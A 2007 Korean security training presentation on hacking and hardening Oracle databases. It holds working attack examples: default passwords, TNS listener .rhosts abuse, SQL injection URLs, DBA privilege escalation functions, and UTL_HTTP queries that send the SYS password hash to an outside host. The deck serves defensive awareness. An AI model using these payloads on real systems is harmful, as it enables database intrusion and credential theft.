49
Hacking and Securing Oracle OCT. 2007 주식회사 모니터랩 By Coderant(http://coderant.egloos.com)

Hacking and Securing Oracle - pds6.egloos.compds6.egloos.com/pds/200710/26/66/Hacking_and_Securing_Oracel.pdf · Chapter I. 개요 • Agenda-우리가잘모르고있는DB 보안-DB

  • Upload
    others

  • View
    2

  • Download
    0

Embed Size (px)

Citation preview

Hacking and Securing Oracle

OCT. 2007

주식회사 모니터랩

By Coderant(http://coderant.egloos.com)

목 차

Chapter I. 개요

Chapter II. DB 보안

Chapter III. DB 해킹 기법 소개

Chapter IV. 결론

Chapter I. 개요

• Agenda- 우리가 잘 모르고 있는 DB 보안

- DB 서버의 Security Hole에 대한 Awareness

- DB 서버를 대상으로 어떤 방식으로 해킹이 되는지 이해

- 안전한 Oracel Database 서버를 위한 기본적인 Idea

- Computer Emergency Response Team(CERT)에 발표에 의하면 모든 해킹의 95%가 알려진 취약점을 이용한다.

- Deloitte 2005 Global Security Suvery 자료에 의하면 내부자에의한 공격이 외부자 공격보다 빈도가 증가하고 있다.

- 궁극적으로 Database 서버의 Security Awareness 및 효과적인보안대책을 수립

Chapter I. 개요

• What are the hackers trying to do- DB를 손상시키거나, 접근 권한을 획득하고자 한다.

- 잘못 설정된 Configuration는 권한 승계를 허용한다.

- 잘못 설정된 Configuration은 비인가 데이터에 접근을 허용한다.

- 잘못 설정된 Configuration은 손상(Damage)와 비즈니스 손실을가져 온다.

• To protect Oracle thing like a hacker - Database를 보안에 대해서 먼저 해커처럼 생각하라

- Oracle에서 발생할 수 있는 모든 Security Hole 및 Risk를 고려

Configuration, Permission, Bug

Chapter I. 개요

• Main Security Problem- 인터넷 액세스 : 디폴트로 DB에서 많은 포트가 Open되어 있음

이는 잠재적으로 MS SQL의 슬래머웜 같은 공격에 취약할 수 있음

- Oracel TNS Listener에 대한 해킹 공격(DoS)

- Buggy 패키지의 취약성을 악용한 해킹 공격

ex) UTL_FILE, DBMS_BACKUP_RESTORE, EMD_SYSTEM,

DBMS_LOB, DBMS_NAMESPACE, DBMS_SCHEDULER

JAVA 등등

- 패키지(Pakage)/Function/프로시저(Procedure)를 악용

- Oracle의 디폴트 패스워드 문제

ex) 초당 1,100,000 hash 크랙 가능(2.8GHz 펜티엄 4 PC)

Chapter II. DB 보안

Oracle Network Architecture – OSI Network 모델Oracle Network Architecture – OSI Network 모델

Chapter II. DB 보안

• Oracle에서 구동되는 프로세스

$ ps -ef | grep oracle

oracle 17749 1 0 11:26:13 ? 0:00 ora_pmon_orasidsol

oracle 17757 1 0 11:26:16 ? 0:01 ora_smon_orasidsol

oracle 17759 1 0 11:26:17 ? 0:00 ora_reco_orasidsol

oracle 17751 1 0 11:26:15 ? 0:01 ora_dbw0_orasidsol

oracle 17753 1 0 11:26:16 ? 0:01 ora_lgwr_orasidsol

oracle 17755 1 0 11:26:16 ? 0:05 ora_ckpt_orasidsol

oracle 17762 1 0 11:30:59 ? 1:34 oracleorasidsol (LOCAL=NO)

PMON 프로세스 : 프로세스 모니터하는 프로세스

SMON 프로세스 : 시스템 모니터 프로세스(crash recovery)

RECO 프로세스 : Distributed Transaction Recovery 프로세스

DBWR 프로세스 : Database Writer 프로세스

LGWR 프로세스 : Log Writer 프로세스, handling redo logs.

CKPT 프로세스 : Checkpoint 프로세스

Chapter II. DB 보안

• DBA를 가지는 것들SYS와 SYSTEM 모두 DBA 권한을 가진 계정이지만 기타 다른 계정에서도

DBA 권한이 부여되어 있는 경우가 간혹 있다.(MDSYS, CTXSYS, WKSYS,

SYSMAN)

SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b

where a.user#=b.grantee# and b.privilege#=4;

NAME

-----------------------------

CTXSYS

SYS

SYSMAN

SYSTEM

WKSYS* Oracle 10g에서는 기본적으로 제거되어 있음

• Oracle Role과 Privilege 해커가 관심있어 하는 중요한 데이터베이스 뷰(DATABASE VIEW)

데이터베이스 뷰 설명(Description)

DBA_USERS DB안에 있는 사용자 계정에 대한 정보(패스워드 포함)

DBA_PROFILE 각 프로파일에 대한 리소스에 관한 정보

ROLE_ROLE_PRIVS 다른 Role에 부여되어 있는 Role를 보여줌

USER_ROLE_PRIVS 현재 사용자에 부여되어 있는 Role 정보를 보여줌

DBA_ROLES DB안에 있는 모든 Role에 대한 모든 상세한 정보

DBA_ROLE_PRIVS 각 사용자와 기타 Role 부여되어 있는 권한 Role 정보

ROLE_SYS_PRIVS 다른 Role에 부여되어 있는 시스템 권한을 보여줌

USER_SYS_PRIVS 현재 사용자에 부여되어 있는 시스템 권한 정보를 보여줌

DBA_SYS_PRIVS 각 사용자와 기타 Role 부여되어 있는 시스템 권한 Role 정보

* System Tablesspace : x$, $가 붙은 테이블(v$fixed_table)

Chapter II. DB 보안

Chapter II. DB 보안

• DB 오브젝트 타입

Oracle 10g에서는 Default로, 41개 이상의 오브젝트 타입이 있다

Chapter II. DB 보안

• SYS 스키마 정보와 관련된 것들- 프로세스와 세션 정보는 SYS 스키마에 v$process와 v$session

테이블에 저장됨

- Oracle Intelligent Agent는 TCP port 1748, 1808, 1809 사용

종종 dbsnmp SNMP 요청을 1161번 포트에서 Listening한다.

- Oracle의 디퐅트 SID 목록

Product 디폴트 SID

Oracle XE XE

Oracle 9i ~ 10g IASDB

SAP Standard System SA*, SID

Oracel Default SID ORCL

BEA Weblogic MSAM

Oracle Enterprise Manager Repository OEMREP

Open View OPENVIEW, OVO

Chapter II. DB 보안

• 시스템 권한(System Privilege)SQL> select name from system_privilege_map;

SYSTEM 그룹의 권한 : ALTER ANY, CREATE ANY, EXECUTE ANY,

ANALYZE, AUDIT, DEBUG, DELETE ANY, DROP ANY

Chapter III. DB 해킹 기법

• Oracle DB 보안 취약점 구분1) Oracle의 ‘extpro’와 같은 환경변수의 악용

2) Network Protocol의 인증 결함

3) Authentication Protocol의 결함

4) 비인가 접근

- 안전하지 않은 Oracel TNS Listener 포트에 대한 공격

5) Arbitrary Code Execution in Intrinsic SQL Elements

6) 잘못된 사용

- SQL Injeciton, Dynamic PL/SQL Injection

7) 패키지의 SQL Injection 취약점

- DRILOAD.VALIDATE_STMT SQL Injection를 통해 권한 상승

[예 Oracle 8i 취약점] SQL> exec CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO PUBLIC’);

Chapter III. DB 해킹 기법

• Oracle DB 해킹 기법에 대한 Summary

구분 상세 해킹 구현 기법

디폴트 DB 개정 및 패스워드사용자 인증

Password Cracking

네트워크 서비스 TNS Listener 포트 1521를 통한 해킹 시도

Injection Attack(Code Injection, PL/SQL Injection)

Function Call Injection

Un-documented initialisation parameter(INIT.ORA)

DBMS_SYS_SQL.PARSE_AS_USER 함수를 이용하여 악의적인 PL/SQL 만들어서 실행할 수 있음

Un-Documented

Oracel Stadard 패키지

SQL Injection

CURRENT SESSION

(alter session set current_schema = yes)

Chapter III. DB 해킹 기법

• Default UserNamer과 Password로 접속기본적으로 DB 설치 시 존재하는 계정과 패스워드를 통한 접근 가능

아래에 기술한 것 말고도 디폴트 계정/패스워드는 많다.

- SYS/CHANGE_ON_INSTALL

- SYSTEM/MANAGER

- DBSNMP/DBSNMP

- CTXSYS/CTXSYS

- MDSYS/MDSYS

- SCOTT/TIGER

Chapter III. DB 해킹 기법

• Oracle DB 버전별 Without Authentication

Chapter III. DB 해킹 기법

• Oracle의 Authentication 취약점2006년 발표된 Critical한 Oracle 취약점(인증 초기화 세션 시의

SQL의 조작을 통한 권한 DBA 권한 상승)

Chapter III. DB 해킹 기법

• SYSMAN의 MGMT_VIEW 정보 추출VIEW_USERNAME, VIEW_PASSWORD에서 취약한 Encryption

패스워드 추출(Oracle 10g, 11g에만 해당됨)

Chapter III. DB 해킹 기법

• Oracle Hash Password 크랙단순한 패스워드는 크랙하는데 1초도 걸리지 않음

Chapter III. DB 해킹 기법

• TNS Listener Attack(1) - 가장 쉬운 ORACLE 공격 중 하나는 Listener를 공격하는 것

- TNS Denial of Sevices Attack

- Oracel 9i/10g에서 Listener 패스워드가 설정되면 TNS 공격 시 에러가 발생

- 2002년경에 나왔던 Oracle 9i의 Long Service_name 파라메터

오버플로우 취약점

공격예)

(DESCRIPTION=

(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.65)(PORT=1521))

(CONNECT_DATA= (SERVICE_NAME=hacker_shellcode_goes_here)

(CID=(PROGRAM=SQLPLUS.EXE)

(HOST=foo)(USER=bar))))

Chapter III. DB 해킹 기법

• TNS Listener Attack(2) root% tnscmd status -h Target.com -p 1521

[TNS 패킷내용]

sending

(CONNECT_DATA=(COMMAND=status)) to Target.com:1521

writing 89 bytes reading

.........6.........`.............j........

(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0) (ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro)

Chapter III. DB 해킹 기법

• TNS Listener Attack(3)rhost 파일에 ‘+ +’를 insert 시켜 rlogin으로 인증없이 서버에 접근

[해킹 공격예]

1) root% ./tnscmd --rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=) (USER=)(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts)))" -h oraclesvr2

2) root% ./tnscmd --rawcmd " + + " -h oraclesvr2

3) root% rlogin -l oracle oraclesvr2

4) root% tnscmd10g.pl -h 10.0.0.151 --10G --rawcmd

"(CONNECT_DATA=((<here your pl/sql code to propagate>"

Chapter III. DB 해킹 기법

• Sniffing ALTER USERSQLNET.ORA 파일에 다음 내용을 추가

TRACE_FILE_SERVER = oug.trc

TRACE_DIRECTORY_SERVER = ../tmp

TRACE_LEVEL_SERVER = SUPPORT

SQL > alter user scott identified by xdgeowvword;

User altered

Chapter III. DB 해킹 기법 – SQL Injection

• SQL Injection Attack 분류- SQL 구문 조작(Manipulation)

- Code 삽입(Injection)

오라클은 Dynamic SQL 형태에서는 Multi SQL Statement를허용하지 않는다.(즉 ‘;’를 허용하지 않는다는 의미)

- Function Call 삽입(Injection)

- Buffer Overflow

Chapter III. DB 해킹 기법 – SQL Injection

• SQL 구문 조작 Attack- Web 해킹을 통한 우편번호 검색부분의 SQL 구문 조작 사례

Chapter III. DB 해킹 기법 – SQL Injection

• Code Injeciton Attackhttp://www.xxx.com/forum/bbs/download.jsp?idx=5'%20union%20select%20%201,tname,'3',444,'444'%20from%20sys.tab%20where%20tname%20not%20in%20('A0TMSRNES','A0TORGTBL','A0TTBLSCM','A1TXMLINF','A4TCPADLG','BANK_THEME_DATA')--

Chapter III. DB 해킹 기법 – SQL Injection

• Oracle Worm(Voyager) 2005년 11월 익명의 제보자에 의한 Oracle Voyager Worm 제보

- Voyager Worm의 구동

1) Grant DBA to public(CTXSYS.DRILOAD 취약점)

2) Drop the trigger aa

3) Google에 다음과 같은 URL를 요청함http://www.google.de/search?hl=en&q=startc0GtJBi1+fulldisclosure&btnI=I%27m+

Feeling+Lucky

4) 모든 Oracle 해시 패스워드를 [email protected] 주소로 전송

5) Worm이 listener.log 수정하고 다음과 같은 명령어를 glogin.sql에 추가

"alter user mdsys identified by mdsys" 그리고 glogin.sql 실행

6) create database link를 생성하고 패스워드 추출 시(system/manager,

sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)

7) TNS listener 중지 시킴

Chapter III. DB 해킹 기법 – SQL Injection

• Oracle의 PL/SQL의 Rootkit, 백도어

OracleRootkit.sql OracleBackdoor.sql

Chapter III. DB 해킹 기법 – SQL Injection

• Oracle PL/SQL Oracle Rootkit, 백도어Rootkit, 백도어를 이용하여 DB서버로 Reverse 접속

Chapter III. DB 해킹 기법 – SQL Injection

• SQL Manipulation [정상쿼리]

SELELCT * FROM users

WHERE username =‘admin’ and password =‘xagg3’

[SQL Query 조작사례-1]

SELELCT * FROM users

WHERE username =‘admin’ and password =‘xagg3’ or ‘1’=‘1’

[SQL Query 조작사례-2]

SELELCT product_name FROM all_product

WHERE product_name LIKE =‘%LG’UNIONr ‘1’=‘1’ SELECT username FROM dba_users WHERE

username like ‘%’

Chapter III. DB 해킹 기법 – SQL Injection

• Code Injection [Code Injection 에러]

SELELCT * FROM users

WHERE username =‘admin’ and password =‘xagg3’; DELETE

FROM users

Oracle에서는 multiple SQL Statement를 지원하지 않는다. 위와 같은 공격은 실패한다. 따라서 위와 같은 공격은 PL/SQL Block 공격으로 가능

[Anonymous PL/SQL Block에서 공격]

BEGIN ENCRYPTION_PASSWORD(‘admin’ and password=

‘xagg3’); DELETE FROM users WHERE upper(username) =

upper(‘admin’); END;

Chapter III. DB 해킹 기법 – SQL Injection

• Function Call Injection Oracle의 패키지의 Function이나 사용자 Function에서 SQL 구문을

Injection 시키는 공격

Oracle은 1000개의 Function과 175개 정도의 기본 패키지를 지원함

[정상적인 경우]

SELELCT TRANSLATE(‘user input’, ‘0123456789ABCDEFGH

IJKLMNOPQRSTUVWXYZ’, ‘0123456789’) FROM dual;

[Function Call Injection 공격]

SELELCT TRANSLATE(‘‘ || UTL_HTTP.REQUEST(http://192.

168.1.1/’) || ’’ ‘0123456789ABCDEFGHIJKLMNOPQRSTUVW

XYZ’, ‘0123456789’) FROM dual;

Chapter III. DB 해킹 기법 – SQL Injection

• PL/SQL에서의 SQL Injection 스토어드 프로시저는 PL/SQL나 JDBC의 Callablestatement 둘 중

에 하나의 형태로 호출되어 사용된다.

• PL/SQL이 실행되는 4가지 Type - Embeded SQL Statement : Compiled, Bind Variable만 허용

- Static Cursors : Compiled, Bind Variable만 허용

- ECUTE IMMEDIATE : DBMS_SQL를 대체함

- DBMS_SQL 패키지 : Dynamic SQL의 옛날 방식

간혹, EXECUTE IMMEDIATE와 DBMS_SQL를 결합해서 사용하는 경우도 있음.

Chapter III. DB 해킹 기법 – SQL Injection

• PL/SQL의 구성

• PL/SQL 3가지 Block Type - Anonymous, Procedure, Function

Chapter III. DB 해킹 기법 – SQL Injection

• EXECUTE IMMEDIATE 구문(1) PL/SQL 코드 안에서 Dynamic SQL를 실행시킴

예) SQL Injection 공격에 취약한 execute immediate 구문

CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) ASsqlstr VARCHAR2(1000);code VARCHAR2(100);

BEGIN…sqlstr := ‘SELECT postal-code FROM state WHERE state-name = ‘`` | name| ’’’’;EXECUTE IMMEDIATE sqlstr;…

END;/ State-name = :name;

Bind Variable 형태로 하면 SQL Injection 공격을 차단할 수 있다.

Chapter III. DB 해킹 기법 – SQL Injection

• EXECUTE IMMEDIATE 구문(2) Anonymous PL/SQL Block은 SQL Injection 공격에 매우 취약

예) SQL Injection 공격에 취약한 execute immediate 구문

CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) ASsqlstr VARCHAR2(1000);code VARCHAR2(100);

BEGIN…

-- 취약한 경우의 코드

EXECUTE IMMEDIATE ‘BEGIN updatepass (’’’ || value || ’’’); END’;

-- 취약하지 않은 코드

cmd := ‘BEGIN updatepass (:1); END’;EXECUTE IMMEDIATE cmd USING value;

…END;/

Chapter III. DB 해킹 기법 – SQL Injection

• Injecting Function- 만약 Attacker가 서버에서 function을 생성할 수 있다면 악의적인

PL/SQL function를 만들어 실행하거나 SQL 구문에 Injection할수 있다.

- Attacker가 사용할 함수는 AUTHID CURRENT_USER 키워드가설정되어 있어야 함

스토어드 프로시저 실행권한(invoker, definer)의 상관없이 접근권한은 실행할 때

컴파일 유저가 아닌 현재 접속해 있는 유저

- AUTONOMOUS_TRANSACTION pragma를 설정해야 함.

Chapter III. DB 해킹 기법 – SQL Injection

• Injecting Function- requisite privilege로 실행되어야 SCOTT가 DBA Role를 획득

하게 된다.

LIST_LIBRARIES 프로시저가 다음과 같이 실행되는 것을 의미한다.

SELECT object_name FROM all_objects WHERE owner = 'ABC'||SCOTT.GET_DBA()

CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID CURRENT_USER ISPRAGMA AUTONOMOUS_TRANSACTION;BEGINEXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';END;/GRANT EXECUTE ON GET_DBA TO PUBLIC;/

SQL> EXEC SYS.LIST_LIBRARIES('ABC''||SCOTT.GET_DBA()--');

PL/SQL procedure successfully completed.

Chapter III. DB 해킹 기법 – SQL Injection

• Injecting Function사용자 Function을 통한 Privilege Escalation

Oracle 10g에서 테스트한 결

과 (Oracle CPU July 2006

패치되어 더 이상 공격안됨)

Chapter III. DB 해킹 기법 – SQL Injection

• Injecting Function

CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN

DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR 'SELECT OBJECT_NAME FROM

ALL_OBJECTS WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';

LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND;

END LOOP; CLOSE CV;

END;/

SQL> EXEC SYS.LIST_LIBRARIES('MDSYS');ORDMD_IDX_LIBSORDMD_REL_LIBSORDMD_WD_LIBSORDMD_MBR_LIBSORDMD_UDT_LIBSEATE OR REPLACE PROCEDURE

만약 SQL Injection 취약점이 존재한다면

P_OWNER파라메터에 UNION SELECT 구문을

삽입하는 공격이 가능하다.

SQL> EXEC SYS.LIST_LIBRARIES('NOUSER'' UNION SELECT PASSWORD FROM DBA_USERS--');

23F797F38974856E29802572EB547DBF2A09F346B78868672BE6F80744E08FEB

정상적인 쿼리

SQL Injection 쿼리

Chapter III. DB 해킹 기법 – 패키지 취약점

• 패키지 버그공격 사례 - DBA 권한 획득SQL> select * from user_role_privs;

USERNAME GRANTD_ROLE ADM DEF OS

----------- ----------------- ------ ---- -----

SCOTT CONNECT NO YES NO

SCOTT RESORCE NO YES NO

SQL> exec ctxsys.driload.validate_stmt(‘grant dba to scott’);

BEGIN ctxsys.driload.validate_stmt(‘grant dba to scott’); END; *

ERROR at line 1:

ORA-06510 : PL/SQL: unhandled user-defined exeception

ORA-06512 : at “CTXSYS.DRILOAD”, line 42

ORA-01003 : no statement parsed

ORA-06512 : at line 1

SQL> select * from user_role_privs;

USERNAME GRANTD_ROLE ADM DEF OS

----------- ----------------- ------ ---- -----

SCOTT CONNECT NO YES NO

SCOTT DBA NO YES NO

SCOTT RESORCE NO YES NO

Chapter III. DB 해킹 기법 – 패키지 취약점

• UTL_HTTP 패키지 보안- UTL_HTTP 패키지는 Oracle DB 서버로 Out-of-band 커넥션을

요청 할수 있게 해준다.

- SYS user의 패스워드를 추출할 수 있다.

- 기타 UTL_SMTP, UTP_TCP, UTP_FILE 패키지도 버그가 존재한다면 이와 같은 악의적인 공격이 가능하다.

공격예제)

SELECT utl_http.request('http://192.168.0.100:5500/'||(SELECT password

FROM dba_users WHERE username='SYS')) FROM dual;

Chapter III. DB 해킹 기법 – 패키지 취약점

• UTL_HTTP.REQUEST 패키지 취약점- UTL_HTTP.REQUEST는 SQL injection하는데 특별히 용이

ex) FOO 파라메터에 SQL Injection 취약점이 존재할 경우 공격은 다음과 같이

이루어 진다.

http://example.com/search?FOO=BAR'||utl_http.request(‘http://

192.168.0.100:5500/'||(SELECT PASSWORD FROM DBA_USERS

WHERE USERNAME='SYS'))||'BAR

다른 오라클 네트워크 패키지에서도 다양하게 사용될 수 있다.

(UTL_MAIL, UTL_SMTP, UTL_INADDR)

Chapter III. DB 해킹 기법 소개

• 오라클 DB Link 공격SQL> create database link remote_db connect to scott

identified by tiger

using '(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)

(HOST=192.168.0.120)(PORT=1521))(CONNECT_DATA=

(SERVICE_NAME=sparc10g)))';

Database link가 생성되며 link로 다음과 같이 쿼리를 실행할 수 있다.

DB Link된 서버로 연결되고 ALL_USERS table 쿼리 가능하다

ex)

SQL>SELECT USERNAME FROM ALL_USERS@REMOTE_DB

Chapter III. DB 해킹 기법 소개

• Oracel 버전별 취약점ORACEL 취약점 발표는 2006년 ~ 2007년 기준

구분 상세 분류 Impact

CTXSYS.DRILOAD의 SQL Injection 취약점 Become DBA

Crash Database

Crash Database

Crash Database / Execute Code

Crash Database / Execute Code

Crash Database / Execute Code

DBMS_REPCAT의 버퍼 오버 플로우 Crash Database / Execute Code

UTL_FILE을 통한 Directory Traversal Become DBA

dbms_export_extension의 SQL Injection Become DBA

Views와 outer joins을 통한 Privilege escalation Become DBA

KUPW$WORKER의 SQL Injection Become DBAORACLE 10g

ORACLE 9i

Become DBA

Create Remote Shell

Become DBA

DBMS_SYSTEM.KSDWRT의 버퍼오버플로우

Create Database Link 버퍼 오버플로우

다양한 파일 파라메터 버퍼 오버플로우

DBMS_REPCAT_FGT의 버퍼 오버플로우

DBMS_REPCAT_ADMIN의 버퍼 오버플로우

ORACEL 8i(2005년 기준)

DBMS_XMLSCHEMA_INT 버퍼 오버플로우

DBMS_SYS_SQL을 통한 DBA 권한 획득

dbms_export_extension의 SQL Injection

Chapter III. DB 해킹 기법 소개

• Oracel 버전별 취약점ORACEL 취약점 발표는 2006년 ~ 2007년 기준

구분 상세 분류 Impact

KUPV$FT의 SQL Injection Become DBA via cursor

Become DBA

Become DBA via cursor

Become DBA via cursor

Become DBA via cursor

Become DBA

KUPM$MCP의 SQL Injection Become DBA via cursor

Local Privilege Escalation (win32)

KUPM$MCP의 SQL Injection

KUPW$WORKER의 SQL Injection

KUPV$FT의 SQL Injection

ORACEL 10g

Local Privilege Escalation (win32)

Chapter III. DB 해킹 기법 소개

• 주기적인 Role/Priviledge 진단 테스트

Chapter IV. 결론

• 대응방안- 보안의 궁극적인 목적은 Database에 있는 데이터를 보호하기 위한

것이다.

- Web 보안은 지속적인 점검과 대비를 하지 않으면 언제라도 보안 취약점을 이용한 해커의 공격을 받을 수 있다.

- 사용자는 꼭 필요한 최소권한(least privilege)만을 부여

- Public은 오라클 데이터 베이스의 모든 사용자에게 디폴트로 적용되기 때문에 Public 사용자 그룹에서 불필요한 권한을 제거

- 모든 사용자는 Public에 권한 부여(Privilege grant)여부 점검

- PL/SQL 패키지를 실행시켜 보낼 자신에게 권한 부여된 권한 범위를 넘어서는 작업을 할 수도 있을 것이다.

감사합니다